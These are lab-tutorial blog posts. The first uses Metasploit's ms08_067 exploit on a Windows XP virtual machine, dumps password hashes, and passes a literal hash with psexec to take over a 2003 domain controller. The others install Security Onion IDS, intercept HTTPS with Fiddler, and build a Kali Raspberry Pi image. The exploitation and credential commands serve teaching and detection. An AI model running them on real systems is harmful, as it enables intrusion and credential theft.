Now that we know the system is vulnerable to this attack we can fire up msfconsole and exploit the target.

Simply run msfconsole

2_load_msfconsole_to_exploit_ms08_067

2_load_msfconsole_to_exploit_ms08_067

Don’t you love the banners every time you login 🙂

3_msfconsole_loaded

3_msfconsole_loaded

Search for the ms08_067 module with a simple search

search ms08_067

The ranking of great below means this exploit as per the advisory will have great success in exploiting the target system by using a buffer overflow allowing you to run arbitrary commands on the target system via remote code execution (RCE)

4_msfconsole_search_for_ms08_067_exploit_module

4_msfconsole_search_for_ms08_067_exploit_module

Using the name and the directory found using search above you can now use that in order to exploit the vulnerable Windows XP target machine.

Use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.104
exploit

“use” tells metasploit that you would like to use the module that follows
“exploit/windows/smb/ms08_067_netapi” the module you want to use
“set” sets the options which follow into the newly loaded module
“RHOST 192.168.1.104” this is the option you want to set for your remote host IP address
“exploit” simply runs the module with your predefined options just entered.

Running shell gives you a command line shell on the target box, this is not needed and is just done for fun.

You can see the IP address of the Windows XP machine, alternatively you could just run ifconfig from the meterpreter as you would on your Linux system to get the same information.

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

5_msfconsole_metasploit_ms08_067_Windows_XP_exploitation

Exit from the windows shell and then run hashdump from the meterpreter shell to easily gather the user accounts and password hashes on the target system.

6_meterpreter_dumping_password_hashes_Windows_XP

6_meterpreter_dumping_password_hashes_Windows_XP

Now that you have some usernames and passwords you can create some files using any editor of your choice but for pure simplicity I am using the cat command to create these quickly.

“Cat > usernames.txt” tells cat to create a file called usernames.txt. Everytime you want to go to the next line hit enter and exit and save the file by pressing CTRL + C on your keyboard.

“Cat usernames.txt” is used to then verify that the usernames have been added and saved.

Repeat the same process above for the hashes as you can see below.

7_create_username_and_password_hash_files_for_nmap_brute_force_script

7_create_username_and_password_hash_files_for_nmap_brute_force_script

Now that you have a username and hashes file you can pass these to another Nmap script to try against the target Windows 2003 Domain Controller and see if these accounts exist.

Search for the nmap smb-brute script with the following command:

Locate nmap | grep smb-brute

Run the following nmap command to check if any of the usernames and hashes are valid against the target system.

Nmap –script=/usr/share/nmap/scripts/smb-brute.nse –script-args=userdb=usernames.txt,passdb=hashes.txt 192.168.1.105

“nmap” runs nmap
“–script=” this is where you tell nmap you want to use a script
“/usr/share/nmap/scripts/smb-brute.nse” this is the directory in which the script we want to use resides.
“–script-args=” this allows you to send additional options to the NSE script
“userdb=usernames.txt” userdb is an option and usernames.txt is assigned to this variable which is then passed to the script.
“,” make sure to enter that comma without any spaces!
“ passdb=hashes.txt” passdb is an option and hashes.txt is assigned to this variable which is then passed to the script.
“192.168.1.105” this is the target (victim) machine to scan (You can change this to a subnet if you wish)

You can then see if any of the accounts are valid when the script runs. Any that are will have “Valid Credentials” appended at the end as can be seen below.

8_nmap_smb_brute_nse_script_Windows_Server_2003

8_nmap_smb_brute_nse_script_Windows_Server_2003

Using your confirmed valid credentials using the nmap script you can now pass the hash obtained from the Windows XP machine administrator account and use it against the Windows 2003 Server Domain Controller without knowing the actual plain text password or even cracking it. You can simply pivot and use the hash as leverage into another system on the network and in this case the keys to the kingdom as you are getting access to all the users accounts hosted on this server. In this guide I am using the psexec module within metasploit but you could also choose to upload the actual sysinternals psexec.exe to the Windows XP system and pivot from there leaving less of a trail to your Kali system when you pass the hash.

Use exploit/windows/smb/psexec
set rhost 192.168.1.105
set SMBUSER administrator
set SMBPASS 25d4823ec0752acc38f10713b629b565:cf4762a61e232355aa12d713a083d5fd
exploit

I’m not going to explain the above command usage as it should be self explanatory, if you are unsure check above and see if you can figure it out.

Once again shell is ran to get a Windows command prompt on the Windows 2003 Server and check the IP address.

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

9_metasploit_Windows_Server_2003_Pass_the_hash_psexec

If you run the Sysinternals process explorer on the Windows 2003 Server you can see your metasploit connection established running in rundll32.exe as can be seen below.

10_using_procexp_on_Windows_Server_2003_to_check_connections

10_using_procexp_on_Windows_Server_2003_to_check_connections

It’s a good idea to run metasploits hashdump again in order to gain the Active Directory users as you are sure to get more than the ones you gained on the Windows XP machine at the start.

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

11_meterpreter_dumping_password_hashes_Windows_Server_2003_Active_Directory

I like to also run monitoring tools while playing around as you probably know from following along in previous tutorials namely the building of your own Snort IDS but have recently gone back to using Security Onion as it’s very user friendly to configure, setup and everything just works. The team over at security onion have really done a fantastic job getting this Open Source networking monitoring OS off the ground and I really advise having a play around with it as it’s easy to maintain and configure.

Below is a snippet from SQUIL making the Snort IDS signatures easy to run through and break down into the finer details. As you can see it detected Possible Shellcode. Policy related signatures are also triggered too which don’t mean what you think they mean. Yes you’re thinking it shows the system was attacked but in reality they mean it’s a policy signature and it’s detecting an EXE or DLL file download to the destination (target) system which in our case is part of an attack but in real life it could just be a random EXE or DLL that has been downloaded legitimately and sets off a False Positive. Most people think these are attacks when they are not.

12_Security_Onion_IDS_Logs_SGUIL

12_Security_Onion_IDS_Logs_SGUIL

I hope you enjoyed this write up, I had lots of fun making it and have also included a short video carrying out this attack which you can view below. Until next time, have fun!

 

 

Building an ethichal hacking lab on your laptop with VirtualBox – Part 14 – Security Onion – Network Monitoring Tools

If you followed along with my previous exercise on creating a Snort IDS for your lab you will most likely love Security Onion as it takes far less effort to get things configured and setup. It’s an excellent Ubuntu based operating system designed solely for both Host Intrusion Detection (HID’s) and Network Intrusion Detection (NID’s) for your network environment and a great tool to use in a lab environment due to the lack of configuration and setup time involved compared to doing everything yourself manually. Why reinvent the wheel when someone has already invented it for you? (Well sometimes it’s needed to learn about something new)

There is a huge host of network related tools that are installed which includes Snort, Suricata, Bro, OSSEC (HID’s), Sguil, Squert, ELSA, Xplico, NetworkMiner, Tcpreplay, Wireshark, tcpdump and a lot more great tools too for analyzing your network traffic.

It’s very easy to configure and excellent for use in a Production or even lab environment for monitoring network traffic.

What you will need is the following:

1 – VirtualBox installed with guest additions downloaded
2 – Pfsense Configured
3 – The Security Onion ISO downloaded
4 – Snort subscription to the free account is perfectly fine (Oinkcode)

Once you have all of the above obtained you are ready to start the installation.

Let’s get to it!

Follow along with the Pfsense configuration guide from the initial lab setup and feel free to allocate more memory to the Security Onion setup, I find 4GB’s to be sufficient for memory allocation and a 30GB Hard Disk for this setup. Assign your NIC’s in a similar fashion except make NIC Adapter 1 & 2 internal and set the Promiscuous Mode option to “Allow VM’s” then make NIC Adapter 3 an internal adapter only so that you will have Internet access for updates, you will also use it as the management interface from within your lab environment. Optionally you could set NIC adapters 1 & 2 as internal with Promiscuous mode set for VM’s and NIC adapter 3 as NAT which will allow for Internet connectivity without having Pfsense setup and configured to allow Internet access. The choice is yours here and depends on what you want to do. For this guide though, we will use the following NIC configuration outlined below.

NIC Adapter 1:

1_Security_Onion_VirtualBox_Configuration_NIC_Adapter_1

1_Security_Onion_VirtualBox_Configuration_NIC_Adapter_1

NIC Adapter 2:

2_Security_Onion_VirtualBox_Configuration_NIC_Adapter_2

2_Security_Onion_VirtualBox_Configuration_NIC_Adapter_2

NIC Adapter 3:

3_Security_Onion_VirtualBox_Configuration_NIC_Adapter_3

3_Security_Onion_VirtualBox_Configuration_NIC_Adapter_3

Once you’re finished with the VirtualBox configuration settings make sure you have pfsense running if you’re using the internal adapters in this guide otherwise the NAT adapter will give internet connectivity if you chose not to configure Pfsense.

Power on your Virtual Security Onion system and follow along.

Select your language and select Continue

4_Security_Onion_Installation_Configuration_select_language

4_Security_Onion_Installation_Configuration_select_language

Select Download updates while installing and select Continue

5_Security_Onion_Installation_Configuration_select_download_updates

5_Security_Onion_Installation_Configuration_select_download_updates

Click Continue to erase the disk and install Security Onion

6_Security_Onion_Installation_Configuration_select_erase_disk_and_install

6_Security_Onion_Installation_Configuration_select_erase_disk_and_install

At the next prompt just hit continue to Format the disk and continue with the install

7_Security_Onion_Installation_Configuration_select_erase_disk_and_install_continue

7_Security_Onion_Installation_Configuration_select_erase_disk_and_install_continue

Select your country on the map and select Continue again

8_Security_Onion_Installation_Configuration_select_your_country

8_Security_Onion_Installation_Configuration_select_your_country

Select your keyboard layout and select Continue

9_Security_Onion_Installation_Configuration_select_keyboard _layout

9_Security_Onion_Installation_Configuration_select_keyboard _layout

Enter your name, computer name, username and a password and select Continue again and wait for a bit for it to install.

10_Security_Onion_Installation_Configuration_username_system_and_password10_Security_Onion_Installation_Configuration_username_system_and_password

10_Security_Onion_Installation_Configuration_username_system_and_password

When finished click restart to continue

11_Security_Onion_Installation_Configuration_when_finished_click_restart

11_Security_Onion_Installation_Configuration_when_finished_click_restart

At the next prompt click Enter to continue with the reboot

12_Security_Onion_Installation_Configuration_when_finished_click_restart_followed_by_Enter

12_Security_Onion_Installation_Configuration_when_finished_click_restart_followed_by_Enter

Once the system has rebooted simply login with your username and password

13_Security_Onion_Enter_Username_and_password

13_Security_Onion_Enter_Username_and_password

Chances are there will be some further software updates once you login so select “Install Now” to proceed with the installation.

14_Security_Onion_Software_Update_First_boot

14_Security_Onion_Software_Update_First_boot

Once the update has completed select “Restart Now” to reboot the system again to complete the update process and then login again.

15_Security_Onion_Software_Update_First_boot_restart

15_Security_Onion_Software_Update_First_boot_restart

Now you will most likely want to have your system running in full screen to make playing with it easier so install VirtualBox Guest additions. You can follow along with the guide here at step 26 on how to do this as the process remains the same. After you have rebooted you should take a snapshot of the system so you can revert to this point and go back to a known good configuration if you break something while playing. It’s also handy for Malware analysis as you can revert back to the time before you were playing with it.

Now for the system configuration all you have to do is click on the Setup icon on the desktop, Enter your password and select “Yes, continue”

16_Security_Onion_Software_system_configuration_setup

16_Security_Onion_Software_system_configuration_setup

Next select “Yes, configure /etc/network/interfaces!”

17_Security_Onion_Software_system_configuration_configure

17_Security_Onion_Software_system_configuration_configure

Select eth2 as your management interface and select OK to continue

18_Security_Onion_Software_select_management_interface

18_Security_Onion_Software_select_management_interface

As this is in a Virtual environment with Pfsense providing DHCP already it’s fine to select DHCP to continue. Alternatively feel free to configure it manually as per your IP addressing scheme.

19_Security_Onion_Software_DHCP_addressing

19_Security_Onion_Software_DHCP_addressing

Select “Yes, configure monitor interfaces”

20_Security_Onion_monitor_interfaces

20_Security_Onion_monitor_interfaces

eth0 and eth1 should be already ticked to use as your monitoring interfaces so just click OK to continue

21_Security_Onion_monitor_interfaces_eth0_and_eth1

21_Security_Onion_monitor_interfaces_eth0_and_eth1

Yes you want to make your changes now so click on “Yes, make changes!”

22_Security_Onion_monitor_interfaces_make_changes

22_Security_Onion_monitor_interfaces_make_changes

Time to reboot again so select “Yes, reboot!” to continue

23_Security_Onion_reboot_to_continue

23_Security_Onion_reboot_to_continue

After the system has rebooted click on the setup icon on the desktop again and select “Yes, Continue” as you did before

24_Security_Onion_run_setup_again

24_Security_Onion_run_setup_again

This time though select “Yes, skip network configuration!” to continue

25_Security_Onion_skip_network_configuration

25_Security_Onion_skip_network_configuration

Select production mode to continue

26_Security_Onion_select_Production_Mode

26_Security_Onion_select_Production_Mode

Select Standalone as you are using the management and network sniffing interfaces on the same system

27_Security_Onion_select_Standalone

27_Security_Onion_select_Standalone

Select Best Practices to continue and select OK

28_Security_Onion_select_Best_Practices

28_Security_Onion_select_Best_Practices

Enter a username that you want to use for logging in to Squil, Squert and ELSA and select OK to continue

29_Security_Onion_Squil_Squert_Elsa_username

29_Security_Onion_Squil_Squert_Elsa_username

Next enter a password you would like to use for Squil, Squert and ELSA and confirm in the window that follows

30_Security_Onion_Squil_Squert_Elsa_password_and_confirm

30_Security_Onion_Squil_Squert_Elsa_password_and_confirm

Next select the Snort IDS and click OK to continue

31_Security_Onion_Snort_IDS_select

31_Security_Onion_Snort_IDS_select

Next select the option for Snort VRT ruleset and Emerging Threats NoGPL ruleset, this is why you obtained an Oink code from Snort.

32_Security_Onion_Snort_IDS_select_VRT_and_ET_ruleset

32_Security_Onion_Snort_IDS_select_VRT_and_ET_ruleset

Enter your Snort Oinkcode and click OK to continue

33_Security_Onion_Snort_IDS_Oinkcode

33_Security_Onion_Snort_IDS_Oinkcode

Keep the default PF_RING min_num_slots as 4096 and select OK to continue

34_Security_Onion_Snort_IDS_PF_RING_min_num_slots

34_Security_Onion_Snort_IDS_PF_RING_min_num_slots

eth0 and eth1 network interfaces should already be selected so just click on OK to continue

35_Security_Onion_Snort_NIC_monitor_interfaces

35_Security_Onion_Snort_NIC_monitor_interfaces

Congratulations you are nearly there just select “Yes, proceed with the changes!” to make the changes to your system permanent that you have just entered.

36_Security_Onion_Finishing_configuration_changes

36_Security_Onion_Finishing_configuration_changes

That’s it you’ve reached the end of the installation, just select OK for the next few windows and take note of any important directories like the ones shown in following screenshots in order to modify and make any changes to your configuration. Alternatively you can revert to your snapshot that you made earlier or just run the setup again from the desktop.

37_Security_Onion_Installation_and_configuration_complete

37_Security_Onion_Installation_and_configuration_complete

Sostat commands for checking detailed information about your service status, get a guided tour and share redacted network information with other sources.

38_Security_Onion_sostat_commands

38_Security_Onion_sostat_commands

Snort rule modification and sensor directories for making manual changes to these after you have things configured.

39_Security_Onion_Snort_pulledpork_rule_modification

39_Security_Onion_Snort_pulledpork_rule_modification

UFW Firewall rule modification if you need to change any of the firewall rules.

40_Security_Onion_UFW_Firewall_Rules

40_Security_Onion_UFW_Firewall_Rules

Take another snapshot of your system as you have everything configured now and you can revert back to it when needed.

That’s it for now, we will be using Security Onion in some upcoming tutorials so it will be handy to have it configured for when you are following along.

 

Fiddler 4 – Linux mono install configuration and testing

Fiddler is fun to use for many reasons, mostly because unlike WireShark or tcpdump for example you get a much nicer visual as to what you are looking at whether you are analysing some malware or just being paranoid about what a site is doing when you visit it. You will get a better understanding as to what traffic which is ingressing (Entering) and egressing (Leaving) your system are up to. Fiddler isn’t just for your browser, it will also see the traffic of system processes, web browsers and non-browsers.

You can install what is now Fiddler 4.0 easily by doing what is outlined below on your system.

Instructions for configuring mono (similar to wine) and using Fiddler can be found here.

Downloading fiddler is as simple as running wget on http://ericlawrence.com/dl/MonoFiddler-v4484.zip like so below

Create a folder for Fiddler in your user directory first
mkdir ~/Fiddler
cd ~/Fiddler
wget http://ericlawrence.com/dl/MonoFiddler-v4484.zip

01_Fiddler_4

01_Fiddler_4

unzip MonoFiddler-v4484.zip

02_Fiddler_4_unzip

02_Fiddler_4_unzip

Next download and install mono from Xamarin directly as this gets around any issues from installing directly from the software repository like I did previously which although is quite easy and simple leads to issues with HTTPS connections breaking a lot and it gets quite annoying.

Paste the following snippet below into the terminal in order to install the Xamarin version of mono as seen here.

sudo apt-key adv –keyserver hkp://keyserver.ubuntu.com:80 –recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF
echo “deb http://download.mono-project.com/repo/debian wheezy main” | sudo tee /etc/apt/sources.list.d/mono-xamarin.list
sudo apt-get update

03_Fiddler_4_mono_xamarin_install

03_Fiddler_4_mono_xamarin_install

After apt-get update has run you are now good to install mono-complete as you would normally through apt-get

apt-get install mono-complete

04_Fiddler_4_mono_complete_install

04_Fiddler_4_mono_complete_install

This should finish without error

05_Fiddler_4_mono_complete_install_without_error

05_Fiddler_4_mono_complete_install_without_error

Now to start Mono for the first time you just need to run mono followed by the Fiddler.exe

mono Fiddler.exe

06_Fiddler_4_mono_starting_first_time

06_Fiddler_4_mono_starting_first_time

You will then hopefully see something like this appear once it has loaded for the first time

07_Fiddler_4_mono_loaded_first_time

07_Fiddler_4_mono_loaded_first_time

Now for some configuration so that we can decrypt the HTTPS traffic on the system by going to tools –> Fiddler Options as outlined below

08_Fiddler_4_Options

08_Fiddler_4_Options

Under the HTTPS heading choose to “Decrypt HTTPS traffic” which will then present you with the following pop up window. Just click OK to continue.

09_Fiddler_4_Options_Decrypt_SSL

09_Fiddler_4_Options_Decrypt_SSL

Click the button below “Export Root Certificate to desktop” and click OK to continue, this will do exactly as it suggests and copy the Fiddler Root Certificate directly to the desktop for you for your convenience in the next few steps.

10_Fiddler_4_Options_Decrypt_HTTPS_export_to_desktop

10_Fiddler_4_Options_Decrypt_HTTPS_export_to_desktop

Next in Firefox go the preferences –> Advanced –> Certificates –> View certificates

11_Fiddler_4_Firefox_Options_Certificates

11_Fiddler_4_Firefox_Options_Certificates

Under the Authorities tab choose import and select and import your Fiddler root certificate from the desktop and choose to trust it for websites and click OK

12_Fiddler_4_Firefox_Options_Certificates_trust_websites

12_Fiddler_4_Firefox_Options_Certificates_trust_websites

Next while still in the Firefox advanced configuration page click on networking and then click settings opposite “Configure how Firefox connects to the Internet”

13_Fiddler_4_Firefox_Options_Proxy_configuration

13_Fiddler_4_Firefox_Options_Proxy_configuration

Modify your proxy configuration to the same as mine below and click OK

14_Fiddler_4_Firefox_Options_Proxy_configuration_modified

14_Fiddler_4_Firefox_Options_Proxy_configuration_modified

At this point you might as well restart your system to make sure all the changes that you made are persistent and will keep after a reboot which they should.

Now that you have everything persistent and working correctly you can start playing around with your network traffic. Let’s look at two different encrypted HTTPS searches and perform a search query with both Google and DuckDuckGo and see if we can find our searches 🙂

For the test all you need to do is open up your browser and perform a search for your keyword, my keywords in this case will be the opposite search engine names. I have also clicked on the Decode button which will decode traffic for us and make it even more human readable than it is normally.

As you can see below I have Firefox open and have performed a search query on DuckDuckGo.com for the keyword “google”. The traffic is encrypted though so we shouldn’t be able to see this traffic normally.

15_Fiddler_4_Firefox_Decrypting_DuckDuckGo_HTTPS__Search_Query

15_Fiddler_4_Firefox_Decrypting_DuckDuckGo_HTTPS__Search_Query

As you can see the search query is easily discovered under the Raw tab to the right with the search query at the bottom 🙂

16_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query

16_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query

You can also see this under the HexView

17_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_HexView

17_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_HexView

WebForms view

18_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_WebForms

18_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_WebForms

TextView

19_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_TextView

19_Fiddler_4_Firefox_Decrypted_DuckDuckGo_HTTPS__Search_Query_TextView

Quite cool isn’t it but surely this won’t work against Google? Or at least that’s what you’re probably led to believe anyway as they use HTTPS now like other sites and nobody could possibly intercept that and decode it could they?

Well what did you just see above? Exactly that, it didn’t say Google but it was using HTTPS in order to secure the transmission of your search query. You may or may not be surprised however to discover that everything you type into Google’s search query is actually transmitted even if you haven’t submitted the search query by clicking enter or hitting the search button!

Creepy isn’t it, all those searches you cleared before hitting search were transmitted to Google for storage for the rest of your life.

20_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query

20_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query

Looking at all the areas as covered above for DuckDuckGo you will see your query submitted and searched for via Googles search in the same places. I will however only cover the Raw section for this search as you already know what exists in the others as you are trying this yourself anyway I hope so as not to just believe what you are seeing. Never trust anything outright and always try something yourself before accepting something is a certain way.

You can see the Raw output below

21_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Raw

21_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Raw

Cool isn’t it? Fiddler is brilliant for discovering Indicators of Compromise (IOC’s) about malicious domains really quickly and easily too. Some malware is aware of Fiddler though like most other tools used for analysis so keep that in mind. It has a lot more power under the hood than what I just covered so play around with it and see for yourself.

Type in a query and see if you can see your query as you typed it in stages depending on your speed

22_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_1

22_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_1

23_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_2

23_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_2

24_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_3

24_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_3

25_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_4

25_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_4

26_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_5

26_Fiddler_4_Firefox_Decrypted_Google_HTTPS_Search_Query_Stage_5

Do you see what the significance of the above WebForm tab screen-shots is?

Have fun 🙂

 

Kali Linux 2 Sana – Raspberry Pi 2 Wireless Tools Custom Build

Ok, it’s been a while since I last built a Custom Kali image for the raspberry Pi 2. It’s become much easier to build an image now and it takes very few steps which is excellent!

First start by creating a new directory called arm-stuff
mkdir ~/arm-stuff
Change into the arm-stuff directory
cd ~/arm-stuff
Clone the cross compiler for the armhf image from github
git clone https://github.com/offensive-security/gcc-arm-linux-gnueabihf-4.7
Set export PATH to set your cross compiler directory
export PATH=${PATH}:/root/arm-stuff/gcc-arm-linux-gnueabihf-4.7/bin
Clone the kali-arm-build-scripts from git
git clone https://github.com/offensive-security/kali-arm-build-scripts
Change into the newly created kali-arm-build-scripts directory
cd ~/arm-stuff/kali-arm-build-scripts

1_Kali_2_Rasberry_Pi_2_prep_work

1_Kali_2_Rasberry_Pi_2_prep_work

Running “ls” will show you everything in the kali-arm-build-scripts directory, use your editor of choice and open the Raspberry Pi 2 script “rpi2.sh” and modify it if you want to follow along and install only the wireless tools or you can leave the next two steps and just run “build-deps.sh” to install any dependacies you may require to build your image.

2_Kali_2_Rasberry_Pi_2_read_rpi2

2_Kali_2_Rasberry_Pi_2_read_rpi2

Modify everything after the “tools=” variable and replace the current string with “kali-linux-wireless” to install only the wireless tools. You can get a full list of meta packages to configure different builds.

3_Kali_2_Rasberry_Pi_2_rpi2_modify

3_Kali_2_Rasberry_Pi_2_rpi2_modify

I also like to keep the image file created during the build creation process so that I don’t have to run unxz against the newly created img.xz file when finished, once again completely optional and a personal preference.

4_Kali_2_Rasberry_Pi_2_rpi2_modify2

4_Kali_2_Rasberry_Pi_2_rpi2_modify2

Next before starting off the build process you should also check for any dependencies you may require by running build-deps.sh which should finish without any error.

5_Kali_2_Rasberry_Pi_2_rpi2_build-deps

5_Kali_2_Rasberry_Pi_2_rpi2_build-deps

Run the rpi2.sh script followed by whatever you want to name your finished build. My name below is “Kali_Pi2_Custom_Wireless_Tools” but feel free to change the name to anything else.

6_Kali_2_Rasberry_Pi_2_rpi2_start_build

6_Kali_2_Rasberry_Pi_2_rpi2_start_build

Let this run for some time depending on your system and Internet speed and when finished you should see a similar result like I have below:

7_Kali_2_Rasberry_Pi_2_rpi2_finish_build

7_Kali_2_Rasberry_Pi_2_rpi2_finish_build

Checking the contents of the directory with “ls” you will now see a newly created directory with your custom image inside.

8_Kali_2_Rasberry_Pi_2_rpi2_custom_image_location

8_Kali_2_Rasberry_Pi_2_rpi2_custom_image_location

Use dd to transfer the image to your microsd card:

dd if=name_of_image.img of=/your/microsd bs=1M

As always be very careful with dd so as not to image your running disk as it will destroy any drive or partition if you copy it to the wrong location, use “fdisk -l” and plug your card in and out and see what changes to get the correct device to copy to. You may see something like “/dev/sdb1” and “/dev/sdb2” in this case you want to use the whole disk so choose “/dev/sdb” to get the root of the drive.

When finished the transfer run “sync” to synchronize any cached writes to persistent storage, the persistent storage being your microsd card because if you remove it to early the copy may not have fully completed yet even though the dd process has finished. Just run it and see how long it takes, if it finishes quickly that just means it’s fully finished. Otherwise it may take a minute or two, when that happens be glad you ran it or you would have had to run the dd transfer again as the image would be corrupted!

9_Kali_2_Rasberry_Pi_2_rpi2_custom_image_dd_to_microsd_card

9_Kali_2_Rasberry_Pi_2_rpi2_custom_image_dd_to_microsd_card

Next remove your microsd and plug it into your Raspberry Pi 2 and boot it up!

Kali_Pi_2_Hacker_Cat

Kali_Pi_2_Hacker_Cat

It might be wise to remove any pets from the process…